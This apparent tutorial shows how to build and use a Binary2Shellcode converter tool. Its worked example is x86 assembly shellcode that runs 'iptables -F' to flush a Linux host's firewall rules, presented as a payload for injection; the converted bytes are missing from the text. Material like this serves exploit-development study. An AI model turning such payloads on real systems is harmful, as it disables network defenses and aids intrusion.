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Binary to shellcode

Now we will talk about converting binary to shellcode using binary2shellcode
1- Compile & Run
To build binary2shellcode
cd /Debug
sudo make
The program will be installed in /usr/bin/ and the app name bin2shell To test just run it /usr/bin/bin2shell and it should be like this

2- Use Binary2Shellcode

We have here assembly code to flush iptables iptables -F with 43 bytes size

xor       %eax,%eax
push      %eax
pushw     $0x462d
movl      %esp,%esi
pushl     %eax
pushl     $0x73656c62
pushl     $0x61747069
pushl     $0x2f6e6962
pushl     $0x732f2f2f
mov       %esp,%ebx
pushl     %eax
pushl     %esi
pushl     %ebx
movl      %esp,%ecx
mov       %eax,%edx
mov       $0xb,%al
int       $0x80

Let’s compile and link and then try to run it

It’s works fine
Now we have to convert the assembly code into shellcode so we can inject it as a payload by using Binary2Shellcode application
bin2shell flush-iptables

The shellcode is


Now let’s try it in C code

It’s works fine too

Note 1: Binary2Shell program is works only under Unix and Linux.
Note 2: Binary2Shell is opensource written in C under GNU General Public License.
Note 3: Binary2Shell calculate the size of shellcode.
Note 4: Binary2Shell Link